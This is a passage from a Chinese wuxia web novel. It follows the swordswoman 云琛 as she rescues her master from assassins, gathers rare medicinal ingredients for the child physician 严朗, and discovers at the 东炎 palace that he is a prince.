云琛被夸得心虚,感觉再说下去,自己就要被说成剑仙在世了,忙谢过铁匠,步行离去。
临走之际,那铁匠还送给她一柄短刀防身,说是买一赠一,友情赠送。
云琛揣着一剑一刀,继续赶路。
一路上碰见了愿意用短刀换十两银的年轻人;低价卖千里马的马商;需要千里马马粪入药,且愿意用一卷软和铺盖和冬衣交换的游医;还有在路边做善事施舍蜂蜜牛乳酪的大哥……
云琛使劲回想,她记得最后是一个瘦瘦的琴师,看上了她马尾巴上的二十根毛,愿意用一份精密、精准、详细的地图来换马尾巴毛。
“我就说这一路也太顺利了些,出门在外,果然有吃亏的时候。”云琛对着地图喃喃自语。
那大爷吃饱喝足,拍拍云琛肩膀,吐着一嘴大蒜味,得意笑道:
“看在你这小家伙请我吃牛肉的份上,我送你这个!”
大爷说着从怀里掏出一张金箔宣纸,是一份绘制了一半的草图,图上之山川河流、城镇村落、距离面积……全都标注得清清楚楚。
大爷道:
“你运气好,我祖上可是给前朝老皇帝制过地图的绘师,我家代代干这个,我手里正好有份地图草图,画到大半,笔晕了墨,只能作废。不过不影响你去东炎国用,拿去吧!”
“谢谢你大爷!”云琛连连道谢,感叹自己还是运气好,世上还是好人多,全然忘记自己朝反方向白走了一个多月的事。
她将地图装好,收拾妥当,与大爷别过,立刻翻身上马,风驰电掣地离去。
大爷助人为乐之后,显然十分高兴,得意地哼着小曲,也准备起身离开,却见四个极瘦的男人一屁股坐下,将他团团围住。
四人虽穿着普通,但眼神凌厉,一看就是练家子。
一个男人摁住大爷的肩膀,皮笑肉不笑地问:
“老头儿,刚和别人吹什么牛了?没事儿瞎掺和什么了?说说呗!”
大爷被这阵仗搞得一愣,“没啥啊,就是那小伙子地图是错的,越走越偏,我给了他一份正确的地图而已。”
另一个男人从怀里掏出一卷马尾巴,气得一把扔在地上,恨恨道:
“全白瞎了!怎么办?”
“还能怎么办?赶紧禀告公子吧!”
“直接告诉公子,不想活了?还是先给万宸哥说一声吧,唉!”
第126章 死的有尊严
白白浪费一个多月,赶了近千里路程。
云琛也不恼,就当是失恋过后出来散心。
她对着新地图细细研究正确路线,发现眼下从末晓城向东炎国而行,恰要经过幽州。
她决定去幽州城外的苍海城探望师父。
算了算时间,快马加鞭的话,差不多冬至前能到香消崖。
接下来一路,不知怎的,她觉得自己的好运气好像有点用完了。
自从离开末晓城,她便再也碰不见好心的商贩或者需要马尾巴当琴弦的琴师了。
身上的银两很快花完,她又过上熟悉的风餐露宿的日子。
这日,她在一处水草丰茂的地方饮马。
她趴在草丛上,看着马儿吃得欢畅,咀嚼得香,忍不住吞了下口水,摸着瘪瘪的肚子,问:
“小马小马,草是什么味儿的?好吃不?”
马用鼻孔呼哧了一口气,算是回应。
见马还得吃一会儿,她便枕着胳膊,准备睡个午觉。
刚躺下没一会儿,她睡梦之中迷迷糊糊听见兵器交接的声音。
身体比意识先清醒,她一个鲤鱼打挺爬起来,翻身上马,眼睛还是睡眼惺忪的。
她揉揉眼睛,寻声往打斗声传来的地方悄悄摸过去,只见不远处的小树林里,两伙人马正在交战,约莫有五六十个人。
她定睛一看,还不是“两伙人马”在交战,好像是五六十人围着一个人进攻。
“以多欺少,太不道德了。”她暗道一句,既不知双方谁正谁邪,也不想节外生枝,便准备悄悄离去。
正在这时,她瞧见一道熟悉的剑锋破空划过,投射出一道耀眼的银白。
她不禁眯起眼睛,再定睛一看。
只见包围圈之中,那人轻功如燕,剑啸如夜枭,剑剑稳准狠,毫不留情,一招一式都颇为眼熟。
她再再定睛看去,立时脸色大变,猛一夹马肚子,拔剑朝包围圈杀去。
“师父!!徒儿来救你!!”
她这一嗓子瞬间吸引了所有杀手的注意。
江鸣得以略松口气,又杀倒三个人。
她冲进包围圈,瞅准离江鸣最近的一个杀手,携剑飞身刺去。
却不料手里这玄九剑手生,分量太重,不如隐月剑好使,她第一下用力微偏,失了准头,竟差点一剑刺到江鸣咽喉。
江鸣猝不及防,险险躲过云琛那一剑,面无表情地扫了她一眼。
云琛也吓得惊出一身冷汗,赶紧与江鸣背靠背而战,开始与一众杀手相斗。
离得近了,云琛才发现,这群杀手之中大部分都平平无奇,只是有两个身穿猩红血色服制的杀手混在里面,招招狠辣阴险。
江鸣身上的伤几乎都是那两人击杀造成的。
江鸣主要精力也都用在对付那两个血衣杀手身上,其他人则与血衣杀手打配合,用来消耗江鸣体力的而已。
“师父!我们走!”云琛两剑飞挑,将包围圈攻破个口子,立刻与江鸣飞身逃去。
二人轻功绝尘,将大部分杀手都甩在身后,只有那两个穿着猩红血衣的杀手穷追不舍,持刀紧逼,宛如两个阴魂不散的红衣厉鬼。
一路飞奔出去几十里,直跑到云琛气喘吁吁,嗓子眼发甜,二人才在一处悬崖边停下。
江鸣也累得不轻,猛烈喘息。
师徒二人打量悬崖,只见悬崖之下全部是乱石,连可以缓冲的树林都没有,跳下去必死无疑。
见无路可逃,那两个血衣杀手又追了上来,只气息微喘,完全没有疲累的样子,云琛顿时有点慌。
江鸣道:“莫怯!怯得狠!死得快!”
云琛用力点头:“我知道,师父!咱们就是死也要死得有尊严!”
江鸣淡淡地看了云琛一眼,随即拔剑冲去,与一个血衣杀手缠斗起来。
另一个血衣杀手则不慌不忙地抽出佩刀,朝云琛比画了个“来”的轻蔑手势。
云琛“切”了一声,立马拔出剑,扭头就跑,跳下悬崖,动作一气呵成,没有丁点迟疑。
那血衣杀手一愣,赶紧飞身追上,探身朝悬崖外看去,却刚露头便被一剑穿喉。
云琛攀着悬崖边下一处凸起的石头,一跃重新跳上悬崖,将那血衣杀手扎了个咽喉灌风。
接下来,二打一就容易多了,等江鸣一剑扎穿对手心口的时候,太阳正巧落山,带走了最后一丝光亮。
云琛和江鸣都累得剧烈喘息,云琛的手都因为不停挥剑而有些痉挛。
二人互看了一会,见对方身上都是血,却没有致命伤,云琛拿剑撑着地,喘着粗气:
“师、师父……我上回孝敬您的银子还有剩的不?咱们……咱们去吃涮羊肉吧?”
第127章 想赢,靠这里
拿着江鸣的钱,云琛买来羊肉和锅子,又找医馆开了药,回到师徒二人的落脚点:
郊外一处偏僻的茅草屋。
云琛对那血衣杀手煞为后怕,便问:
“师父,那血衣杀手什么来头?好生厉害!今日若不是我耍小聪明,一对一只怕活不了。”
“红衣血卫,杀人换金。”
见江鸣只是自顾包扎伤口,并不多说话,云琛试探着问:
“师父,那是不是皇上派来杀你的?”
江鸣一个冰冷的眼神扫过来,云琛立马缩了缩脖子,小声道:
“师父,我都知道了……我陪霍少主进宫觐见,舞剑时被皇上看出师门,皇上便审问了我,还让枭泽师叔将我远远地扔了千万里。对了,师叔说代他向你问好,你还欠他酒呐!”
江鸣的声音依旧毫无感情:“嗯,二十年前捅了他七剑,说过请他喝酒的。”
云琛咋舌,不知道该怎么接话,只能去捣鼓铜锅,将锅子烧煮起来。
师徒二人就着铜锅,对着六斤羊肉风卷残云吃起来,身上立马热乎许多,伤也不那么疼了。
似乎是吃得舒坦了,江鸣难得开口,说道:
“你应该知道了,我从前是皇上的贴身侍卫。”
云琛嘴里塞满羊肉,呜咽地回道:
“是了。师叔说,您曾是皇上最信任的侍卫,您的剑都是与皇上的剑成双锻造的,名为‘银雪’。”
江鸣那张多年没有表情的脸,终于有一丝微动,却只有冷笑。
“‘银雪’是说给天下臣民听的,堂堂一国之君,必然得作风正派。遇血生光,饮血生剑气,这剑叫‘饮血剑’。”
云琛十分同意,她觉得这名字才符合那剑阴森迫人的气质。
“师父,你既然是皇上贴身侍卫,为何皇上说你与他有仇?”
江鸣只道出一句话,云琛便什么都懂了。
“香消崖,神仙墓,葬的是皇后娘娘。”
在当今圣上立楠国以前,前朝曾有位雄才伟略、武功盖世的大人物,女扮男装入朝为将,意气风发统率九军。
可惜在皇权斗争更替之中,那女将军一败涂地,被设计得万箭穿心诛杀于京都街头。
前朝也自此消亡了。
当今圣上在前朝的废墟之上建立楠国,人们都说,皇后就是前朝那女扮男装、诈死脱身的大将军。
不知上一代究竟几多爱恨情仇恩恩怨怨。
最终,皇后诞下公主,在公主三岁的时候突然离宫,最终只剩香消崖孤坟一座。
听说,皇帝闻此噩耗,吐血晕厥数次不止,令举国哀悼,千里悲声送之,从此严法严制,酷刑苛刻。
此后,为抢夺皇后遗体,各国与各方势力在香消崖混战不休,崖上尸体堆积如山,血流成海。
最后不知是谁提出和平约定,自此香消崖成了各国不许起战、不许见血的绝对太平之地。
这些年,江鸣在香消崖守墓,纵使天下仇敌再多,也没人敢违逆各国君主,入香消崖寻仇。
不管天下如何大乱,香消崖宛如世外蓬莱,不受任何硝烟波及。
这跌宕起伏的前朝故事里,江鸣深深纠缠其中。
作为皇帝身边曾经最心腹的侍卫,不用说都知道,江鸣见证了数不清的阴谋诡计,更结下了数不清的血海深仇。
而他与皇帝之间的恩怨,便是皇后。
从拜师江鸣那天起,云琛每日都能看见江鸣一丝不苟地擦拭墓碑,将周围打扫得干干净净,连一片落叶都不许有。
随着她渐渐长大,她开始看懂师父眼中那刻骨铭心的情愫。
江鸣一生未娶,因为他的心早就在那神仙墓里了。
云琛忍不住感慨长叹,她既心疼自己的师父,也心疼皇帝。
当局者迷,旁观者清。
她突然懂了,有时候,离开的那个人最潇洒,活着的才痛苦。
吃罢涮羊肉,她支起火炉和药罐,开始熬药。
她一边手上不停,一边问:
“师父,那今日又是怎么回事?谁要杀您?”
她以为又能从江鸣嘴里听到一个荡气回肠的故事,谁知江鸣只是神情漠然:
“不知道。”
大概他同霍乾念一样,仇家太多,多到他没功夫去一一对付。
可云琛却眯起眼睛,怀疑地看着江鸣:
“师父,你在说谎呦……”
见江鸣又恢复了往日全无一点情绪波动的样子,她只好专心熬疗伤的汤药。
她对着药方细看,按顺序一点点放药、煮药:
“咦?还缺药引子?师父,需得童子尿做药引——师父,您应该有的吧……哎呦疼疼疼……师父我错了……”
……
这一番江鸣与云琛的相遇,既是偶然,也是必然。
云琛要去苍海城探望江鸣;江鸣则是要北上去末晓城,沿北境前往蓝关山,去寻位高人。
师徒二人走着同一条路,早晚会相遇。
云琛没想到,拿着错的地图走了远路,却碰巧帮了江鸣一场。
江鸣对云琛道:“我要去找一个很了解玉阳基、了解玉家的人,也许有办法助公主与霍帮扭转败局。”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!云琛明白,江鸣守着神仙墓,也守着那“神仙”的后裔,对于南璃君的事,江鸣总是很上心。
他虽在香消崖守墓,但从不曾远离那些权谋纠葛。
她不敢阻拦,只是担心江鸣离了香消崖,等于离了保护圈,这一路不知还要面对多少旧日仇家的围杀。
且看那血衣杀手就知道,若再遇上这样的高手,江鸣只怕很难以少胜多。
但江鸣脸上仍旧没有任何表情,好像根本瞧不上、也不在意谁会来杀他,只对云琛道:
“我要去寻得那人,也与我有仇,我此番去请他谋划,若死了,你记得敛我尸身,焚骨成灰,撒在香消崖旁的海里。”
云琛很担忧,“师父,你要去求仇人?你们结的仇应该不厉害吧,对方就算不肯帮忙,也不至于要您性命吧?”
江鸣简短道:“不知道。他双臂残断,我砍的。”
“嘶——”云琛倒吸一口凉气。她不敢想象自己师父年轻的时候到底多狠辣,只知道从前砍了人家胳膊,现在又上门要让人家帮忙。
她更加忧心忡忡,“师父,还是我陪您一起去吧?”
江鸣摆了下手,不容置喙地拒绝,道:“你有你的路,我有我的路。不必多言。”
云琛已对江鸣说,她要去东炎国。
虽然她未明说,但江鸣已七七八八猜到她此行目的。
沉吟片刻,江鸣抽出饮血剑,对云琛道:
“再学最后几招,不然我怕你死得比我快,没人给我收尸。”
云琛只得老老实实跟着学了几日。
这一次,江鸣倾囊相授,再没有一丝保留,只用尽全力将毕生所学全部交代得干干净净。
云琛只觉得目不暇接,眼花缭乱,许多招式只勉强记得,却打不通畅。
江鸣道:“先全部记牢,日后再慢慢研习。”
云琛手忙脚乱地叫道:“师父你打慢些!慢些——我还没看清——”
又是数日苦练,这次学的人觉得颇为轻松,只脑子塞的有点满,还不能一次性消化;
教的人却累得够呛,等打完最后一招,江鸣已累得满头是汗。
“记着,别仗着剑术高,便以为能横行天下。若遇对方人数数倍于你,或一对一,但对方身形、武功路数、地形优势皆胜于你,那么想赢,就得靠这里——”
江鸣屈起指关节,轻敲了下云琛的脑门,云琛朗声应下,高兴的两个脸蛋红扑扑的。
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第128章 广玉兰洲
二十天后,东炎国,广玉兰洲。
洲屿比水岛更广阔,洲上漫山遍野都是广玉兰树。
一株株古树枝繁叶茂,铁锈红的枝叶接连成海,蔚为壮观。
与楠国疆域辽阔、气候多样、南北差异大而不同,东炎地处东南,常年湿热无冬。
云琛是南方人,过惯了三伏天,但还是受不了东炎的潮闷。
她按照严朗从前说过的位置,一路寻到广玉兰洲深处的谷地。
谷地幽静,没有人烟来往,只有一座精致古朴的宅院建在红林与清溪旁。
她上前叩门,开门的是一个头发花白的老仆,在她说明来意后,老仆道:
“云护卫,我家主子等您很久了。”
“严朗知道我会来?”
“我家主子说,您早晚会来。”
云琛跟着老仆进入宅院,一路幽深宁静,装饰摆放着许多颇有年头的宝贝物件,有些甚至是古文物,足见严朗家很有钱。
宅院内似乎只有严朗一人独居,所以仆从和护卫不多。
但比较让她好奇的是,仆从和护卫们年纪都不小,甚至有个护卫的头发都白了,而且府中皆是男子,不见一个侍女。
护卫是卖命的行当,寿命都不长,云琛甚少见到年纪大的护卫,不免心里好奇。
深入内院,远远地,云琛看见严朗执着一卷竹简,站在一排炉前分拣着些什么,似乎是在研制药物。
那小小身量却姿态成熟的样子,就和严朗的宅院一样,都看着老气横秋的。
云琛打招呼:
“小孩哥,好久不见!”
记得上一回在黑熊林的时候,严朗还很讨厌云琛这么称呼他,眼下严朗却没什么反应。
倒是带云琛进来的老仆身子一震,露出了十分惊恐的神情,估计从来没听过有人敢这么称呼严朗。
她伸头凑过去,想瞧瞧严朗在干什么,不觉离得近了些。
严朗立刻后退一步避开,打量她面容,隔空在她脸上点点划划,眉头微皱,道:
“脏腑受创,脾损,肺害。你又受伤了?而且肝郁气滞,有伤心凝血之症。”
云琛竖起大拇指,“光看面色就能断病,神医,不愧是你。”
严朗不以为意,“你又没盗得风灼草,来找我何事?”
敛正神色,云琛问:
“我想问,肝腐之症能医好吗?”
严朗撇了她一眼:
“我是神医,不是神仙,谢谢。”
得到这个答案,云琛心里既轻松,又难过。
她无数次地想,如果她早些发觉荀戓的病,是否来得及带他求严朗诊治。
现在看来,连严朗也救不了的话,大概那就是荀戓的命。
她心中无奈叹息,严朗出声打断她的思绪:
“你千里迢迢来找我,就是问这个?”
云琛驱赶走心中阴霾,揉揉眉头,重新整顿面容,露出一个可爱又讨好的笑容:
“我想请你帮忙,指点我盗取风灼草。”
严朗并不惊讶,只用下巴指指云琛腰间佩剑:
“你要盗风灼草医你主子,这剑的主人知道吗?”
她奇怪:“剑?这剑是我从路边一个铁匠铺用马换来的,怎么你认得?这剑很有来头吗?”
严朗避开眼神,“不认得,看错了。”
云琛无心在这种小事上纠缠,天下剑那么多,总有外形相似的,看错很正常。
她两手合十,凑近严朗哀求:
“小孩哥,念在我曾救你于熊口的面子上,请指点我盗取风灼草吧!你既能准确说出风灼草所在,知晓东炎皇帝的事,说明你肯定在东炎皇宫有人脉关系,请你指点我盗取之法,求求了!”
对上云琛那可怜兮兮的样子,一双眨巴不停的小鹿眼,严朗有些不喜地皱眉,再次后退一步:
“你救我的恩,我已许你一次诊脉的机会,只要你拿来风灼草,我便给方子医好你主子。这已经两清。”
云琛才不管那些,“你小孩子家家的,算得还真清楚,我还一路照顾你,背着你去官衙,你怎么不算上咧?”
这次严朗没话说了。
他沉思片刻,对一旁仆从嘱咐“看好煮药的火”,便拂袖负手,往屋子走。
“我考虑考虑。”
一见有戏,云琛大喜,赶紧巴巴地跟上去,故意自来熟地勾住严朗脖子,笑道:
“行,你慢慢考虑,不着急!咱俩也算生死之交的朋友吧,你招待我吃点东西行不,我已经饿得前心贴后背了!”
严朗被搂得一个趔趄,想挣脱云琛的胳膊,却被她搂得更紧。
看着腋下个子小小,才八九岁的小大人,云琛忍不住在他脸上捏了一把,笑嘻嘻道:
“你这小家伙,一天到晚老成持重的,怎么没小孩儿样子啊?”
严朗大怒:“你放开我!入我府宅,求我相助,怎敢对我如此不敬?!”
见严朗小眉头紧拧,生起气来一点都不吓人,反而很有孩子气,她更来劲,直接两手捧住严朗腮帮子,用力挤了两下,将严朗的脸揉得乱七八糟,嘴嘟得同金鱼一般,笑道:
“我可喜欢小孩儿了,瞧你一个人住在深山老林里,没有父母亲戚往来,多孤单,所以你才深沉得像个大人一样,这下好了,我陪你玩——”
严朗一把打开她的手,气得小脸通红,咬着牙瞪了云琛一会儿,随即甩袖离去,怒道:
“上菜!”
“哈哈哈哈哈——”
云琛笑得前仰后合,完全没看见一旁仆人和护卫惊悚得如同见鬼的表情。
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第129章 寻药引
严朗考虑了半日,答允指点云琛盗取风灼草。
条件是要替他寻来八种极其珍贵难寻的药引才行。
云琛一口应下,“别说八种,八十种也行!”
严朗睨着她,“吹牛不要太早!”
果然,严朗要寻的第一种药引,就是一种常人打破脑袋都想不到的东西:
虎乳。
必须得是第一次生产小虎的母老虎,还必须得赶在小虎之前,取第一口母虎初乳。
云琛瞠目结舌,“严朗,你好好说,这玩意有啥用?”
严朗脸上是想努力却维持不住的稳重。
“我说了你能听懂吗?药引本就是千奇百怪的,但若没有药引催化,再好的药方也是无用,你若有本事,去寻来给我。”
“行!”云琛咬着腮帮子应下。
好在如今住在严朗府上,护卫队里的弓箭刀枪一应俱全,云琛装备齐整,赶往虎啸林。
据严朗身边那个年纪大的护卫说,这虎啸林乃通指一片山头,十几座大小不一的山头上,每座山都有一只老虎占山为王。
她在十几个山头里转悠了半个月,浑身脏臭得和野兽一个气味后,终于寻到一只怀孕母虎。
只可惜这母老虎看起来年纪已经大了,必然不是头次生产,她只得小心尾随,取了虎尿浸染过的树叶装好,往另一座山头走。
一山不容二虎,怀孕的母老虎更为警戒。
云琛故意在路上抛洒虎尿树叶,很快就引来了捍卫领地的老虎。
来者围着地上的虎尿树叶打转,不时环顾四周,发出威胁震慑的虎啸。
她藏在树上仔细瞧,还真是一只即将生产的母老虎。
看那老虎身长体形还有**色,应该是只年轻母虎。
她跟着母虎转悠了七八天,发现母虎快要生产,却看起来毫无经验,只会围着树打转。
到最后小虎已经露出头了,母虎才知道找处树叶松软的地方躺下。
这肯定是第一次生崽的老虎,云琛心里笃定。
她屏息猫在树上,看着母虎生出一只小虎崽。
攥了攥手里分量扎实的蒙汗兽药,她心里有点打怵。
老虎本身就可怕,更不要说是才生产完、最有攻击性的护崽母虎。
看着母虎生下第二只虎崽,停止了痛苦的低吟,她咽了咽唾沫,瞅准位置,从树上一跃而下,准准扑上母虎头。
她一把将**塞进虎口,胳膊被锋利的虎牙喇出一道大口子。
母虎大惊,立刻翻身而起,嘶吼着朝云琛冲去。
**发作还需要点时间,云琛赶紧四处躲避,母虎那比她头还大的虎爪一次次从她后脑勺擦过。
好在母虎刚生产完,比较虚弱,云琛险险躲过虎口,一把将两只刚出生的小虎崽提在手里,对着母虎大叫:
“你别过来啊!再过来我揍你崽了啊!”
母虎果然不敢妄动,哀嚎两声,随即脚步虚浮,摇摇晃晃地倒了下去。
云琛赶紧轻手轻脚地放下小虎,取出事先准备好的罐子,上前挤取虎乳。
可她哪里干过这种事,手忙脚乱不说,再加上又担心母虎苏醒,她紧张得满手是汗,忙活了半天,一滴虎乳也没弄出来。
她着急又发愁,犹豫地将脸凑近母虎腹部,一阵强烈的腥臭扑鼻而来,立刻打消了她脑子里荒唐的念头。
她趴在旁边干呕一阵,努力回忆着霍府厨娘挤牛奶的动作,费了九牛二虎之力,终于摸到窍门,将虎乳取进罐中。
虎乳由浓稠发黄渐渐变得清亮,她记着严朗说过,取到这里就可以,便赶紧封好罐子,在身上捆牢。
旁边两只刚出生的小老虎,早已饿得嗷嗷直叫,云琛赶紧将小老虎放在母虎怀里,帮其吃上母乳。
任务完成,她拍拍手,长吁一口气,心里十分松快。
看着两只憨态可掬的小小森林之王,她不禁心生怜爱,抱起一只亲了亲,学着母老虎的样子张大嘴巴,对着小老虎“嗷呜”乱叫。
云琛专注地顾着逗小老虎,全然没发觉母虎何时已苏醒,头都抬了起来。
那母老虎晕乎乎转醒,睁眼便见一只两脚兽抱着它刚出生的孩子,张着血盆大口要吃小老虎头。
紧接着,虎啸林里响起震天愤怒的虎啸,还有一个惊恐嚎叫的声音:
“虎大嫂!误会了!误会了!”
……
三天后。
广玉兰洲的屋宅书房里,严朗正执笔练字,忽听屋外传来仆从们的惊呼声。
然后,一个野人般蓬头垢面的身影跌跌撞撞冲进书房,浑身全是虎爪血痕,衣服都差点被抓成流苏。
云琛气喘吁吁地说:
“严朗……你的奶来了……”
看着消失了快一个月,又揣着半罐子虎乳出现的云琛,严朗不禁眉头微抬,面露佩服的神色。
他不光惊讶云琛竟能独自完成这么高难度的差事,更惊奇她……
怎么说呢?
真诚得像个傻子。
虎乳这玩意儿,谁都没喝过没见过。
从前他派人去寻虎乳,拿回来的十有**都是羊奶、马奶或者骆驼奶,或者其他
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乱七八糟的东西充数。
反正也没人能鉴定真伪。
最接近的一次,**两个护卫,倒是寻来了虎乳,不过是生产过好几次的老虎。
这样来来**,每次都要他费很多功夫,准备好一大堆珍贵草药,到放药引子时才知道是假。
时间一长,他甚至都失望习惯了。
可云琛这家伙怎么就和别人不一样呢?
她着急去盗风灼草,不应该更倾向于弄虚作假,搞点什么来糊弄他吗?
反正备药还得很久,他又没法立即验证。
他没见过云琛这种人,也理解不了,心说真是愚蠢。
云琛自然不知严朗心中所想,她满脑子担心的都是:
只第一个药引,便如此难寻,严朗接下来会不会又要狮子身上刚出生的跳蚤,吸血蝙蝠死之前咽下的最后一口气啥的。
好在严朗倒也没有那么非人。接下来又说了七样药引,一种比一种更艰苦难寻。
每次都废的云琛半条命快没了,才惊险拿到。
等云琛完成八样药引的任务,已经半年时间过去。
云琛与严朗已十分相熟。
虽说严朗身上还是带着那种令人十分不舒服的、来自冷骨冷血的不在乎,但云琛也大约能明白一些。
作为一个大夫,一个小小年纪就看过太多生死的神医,薄情薄性其实也是一种福气。
只有从骨子里看淡生命,才不至于医不了天下人,先耗尽他自己。
想透这一层,云琛愈发喜欢严朗,每日和他待在一起,不是拉着他打马球,就是拽着他放纸鸢。
严朗一个都不感兴趣,但若不去,云琛又势必要抱着他一顿捏捏小脸,摸摸头,甚至强迫给他骑大马举高高,非要“稀罕”的他愿意才行。
云琛是打心眼儿里喜欢孩子,觉得自己也二十多岁了,大约也到了稀罕孩子的年纪,全然不顾严朗如何火冒三丈,气得脸都青了。
瞧着云琛嘴叼毛笔,大大咧咧地脚踩椅子,手里拿着一只风筝胡乱描画的样子,严朗咬牙切齿道:
“知道的呢,以为你是在讨好我,哄得我高兴了,才能得到盗取风灼草的法子。不知道的呢,还以为你是我爹,由我供你取乐呢!!”
云琛涂好风筝,动作熟练地搂住严朗,顺杆往上爬,笑道:
“好孩儿,好看不?这要是放出去,那就是天上最亮的一颗星哇!”
严朗早已被迫习惯了这从来没有过的肢体接触,干脆放弃挣扎,撇嘴道:
“是天上最难看的一坨屎!”
第130章 东炎皇宫
在广玉兰洲待了大半年,云琛终于等到严朗实践诺言的日子。
他说要亲自带云琛进宫。
一大清早,就有上百身穿东炎服制的带刀侍卫列队院中,两个侍卫领着一架华丽的马车从旁静候。
严朗将一件侍卫服制扔给云琛,“你扮作我的随行护卫进宫。”
说罢,严朗又不放心地嘱咐了一句:“既然扮作我护卫,就再莫对我动手动脚!”
云琛十分兴奋地应下。
严朗又道:“你那剑太过惹眼,还是换成普通护卫刀吧。”
“没问题!都听小孩哥的!”云琛连连应承,感叹道:“我就说你怎么那么熟悉宫中事,原来你是东炎皇宫的御医吗?”
“呵!”严朗轻笑一声,云琛再次从那张小孩脸上看到一种不屑于解释,而且觉得她十分可笑——那种不着痕迹的蔑。
她下意识抬手给了严朗头上一个脑瓜崩,完全忘了外面站的全是皇宫侍卫。
在领头侍卫惊愣的眼神中,云琛尴尬地说:
“公子恕罪,您头上有蚊子,我给您弹掉了。”
严朗瞪了她一眼,小大人模样的负手往外走,经过那领头侍卫的时候,只冷冷一个眼神过去,那领头侍卫立刻噤声立正,低头不敢对视。
随着严朗入宫,一路可见东炎赤金烈焰的旗帜。
宫中守卫森严,侍卫防护密不透风,云琛只稍稍留心查看,便知若没有严朗,她要想自己潜入宫,实在难如登天。
进宫已是半夜,云琛以为会先择殿休整一番,却不料严朗竟直接要去拜见东炎皇帝。
依照规矩,严朗只能带一个侍卫随行,云琛乖觉领命,不负她多年护卫规矩,一路倒也妥帖稳当。
夜晚的东炎皇宫寂静无声,只有一列列侍卫班次不停巡逻警戒。
严朗在前,云琛在后,二人进入皇帝寝宫。
严朗跪地叩拜,第一句话就把云琛惊呆了。
“儿臣拜见父皇。”
云琛跪在后面,只觉五雷轰顶。
与虎谋皮?啊不,与虎崽子谋他爹的皮?
云琛开始疯狂回忆自己都和严朗说过些啥,好像碎碎念过好多次盗取风蚀草的计划。
还吹过牛说“实在不行我就给东炎皇帝一刀宰了”。
天下皆知东炎皇帝姓炎名绰。
原来严朗应作炎朗。
她感觉后背冷汗直流,紧张得耳鸣起来。
东炎皇帝炎绰的声音如洪钟嗡鸣,温和而不失威严:
“起来吧,身子不好,莫跪着了。”
“谢父皇。”炎朗起身,恭敬道“:父皇,儿臣为您诊脉吧,儿臣瞧您面色不对,您常年心郁不解,此番又有气郁之象,万莫小病拖成大恙。”
“好。”
炎朗随即上前诊脉。
大殿内一时无声,十分安静,只剩云琛还突兀地跪着。
炎绰随口问:“新侍卫吗?没规矩。”
云琛赶忙叩头请罪,起身向一旁退去,却在抬起头的一瞬间被炎绰叫住:
“慢着,抬起头来。”
云琛只能抬头,却不敢抬眼看。
安静了一会儿,炎绰声音低沉两分,命令道:
“抬眼。”
云琛不知道自己哪里露了马脚,叫东炎皇帝非要仔细看看她。
她收敛心神,做出恭敬谨慎的样子,抬眼去看,不禁心中一惧。
只见东炎皇帝身形伟岸,仅仅是披着一件常服坐在那里,便是气势如虎。
烛火将皇帝的影子投射在巨大的宫墙上,竟黑压耸立如同小山一般,那异常高大的身形,衬托得周围一切物件都十分袖珍。
炎朗在皇帝身边看起来跟只小鸡崽似的,那搭在皇帝脉搏上的手,还不及皇帝的手腕粗。
在云琛和炎朗来之前,皇帝炎绰正在进行每日睡前必做的一件事:
擦拭他那把比云琛整个人还宽、还高的一柄巨大的青铜锏。
云琛瞄了眼那足以一下就拍死她的青铜锏,不自觉地咽了口吐沫
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。
炎绰打量云琛几眼,对着那双如清泉澄澈的眼睛看了片刻,挥挥手:
“退下吧。”
云琛退步离去,炎绰却像是又想起了什么,刚要再次叫住她发问,严朗却用力摁住炎绰的脉搏,道:
“请父皇宁声,儿臣正在探脉呢。”
炎绰被这么一搅,便忘了自己要说什么。
云琛也知道炎朗在帮她开脱,没有要出卖她的意思,赶紧悄悄退去。
将退出皇帝寝殿之时,云琛听见炎绰问:
“那个逆子如何了?”
炎朗回答:“儿臣不知。”
炎绰重重地叹了口气,道:“朗儿,你是兄长,要多费心提点他些,他也只听你的话了。”
“是,儿臣遵命。”
那夜之后,炎朗又带着云琛入了几次宫,每次都是挑天黑人少的时辰。
云琛暗自将宫中殿宇布局和护卫巡防路线记在心中。
炎朗看穿她心思,颇为戏谑道:
“你已见过我父皇,怎么,还觉得能打过他?”
云琛伸出手指点点太阳穴,“蛮力不行就智取呗,你给我出出主意。”
严朗白了她一眼,“我带你进宫不够,还要帮你筹谋偷我父皇的东西?你觉得自己面子很大吗?”
云琛讪笑着摸摸鼻子:“对了,我记得你说,那只有皇帝知道的密室里只有半株风蚀草,药效足够医治我家少主的腿吗?”
“够。”
“那为何只有半株?”
沉默片刻,炎朗道:“另外半株被我幼弟偷去了。”
云琛惊讶,道:“你幼弟?你才几岁,你弟弟估计刚会走路吧!你们皇家血脉就是高级,就是比普通人厉害。”
不知道自己哪句话说得不对,云琛瞧见炎朗的面色瞬间灰冷,还想多问两句,却耳力微动,听到前方有人靠近,她只得噤声不语。
待一大群人出现在宫道上,朝着二人所在的方向靠近,云琛瞧见炎朗的身形瞬间一僵。
第131章 侏儒症
炎朗僵直着脊背,静静候在宫道上。云琛以护卫身份站在他身后。
一乘繁复艳丽的宫辇缓缓靠近,众多宫女太监从旁随行。
宫辇之上,只见容貌倾城的贵妇人倚靠而坐。
贵妇人看起来已年过四十,但风韵华光不减,仍旧十分貌美。
炎朗行礼叩拜:
“儿臣拜见奕妃娘娘。”
宫辇随即停下,宫人们也驻足等待。
奕妃却好似没听见问安一般,半天才懒洋洋地开口:
“呦,这不是三殿下吗。最近不琢磨草药医理了,竟有空日日进宫吗?”
奕妃话里带着锋,语调更是阴阳怪气,并且完全没有让炎朗站起身的意思。
炎朗仍跪在地上,回道:
“儿臣担心父皇身体,近日进宫是为父皇调理诊脉。”
奕妃似笑非笑,“也是,人人都说久病成医,宫中太医自然不及三殿下有本事。”
云琛觉得这话怎么听着那么刺耳,炎朗医术高超是因为他自己久病?
可她与炎朗相处大半年,炎朗除了老气横秋,一举一动都跟个大人似的,并没有什么病啊。
炎朗沉默许久,一语不发。
奕妃也不在意,只是舒坦地叹口气,颇为得意道:
“你瞧瞧我那三个不成器的儿子——你三个弟弟就是不如你。你五弟晋王上个月出征南蛮回来,你父皇非要封赏,你弟弟说不算胜仗,硬是辞谢了;
你八弟顽劣,无官无职,好在娶了妻妾,对了,你又有侄儿了,你八弟弟又添了个儿子;你十四弟在航运上办差出彩,前几日已封王……”
乍听奕妃似乎在炫耀自己的儿子有本事,可她絮絮叨叨说了一大堆,无外乎娶妻生子这些寻常事。
云琛偷偷打量炎朗的神色,他面色冷如白霜,却又带着一种已被伤过千百遍的麻木。
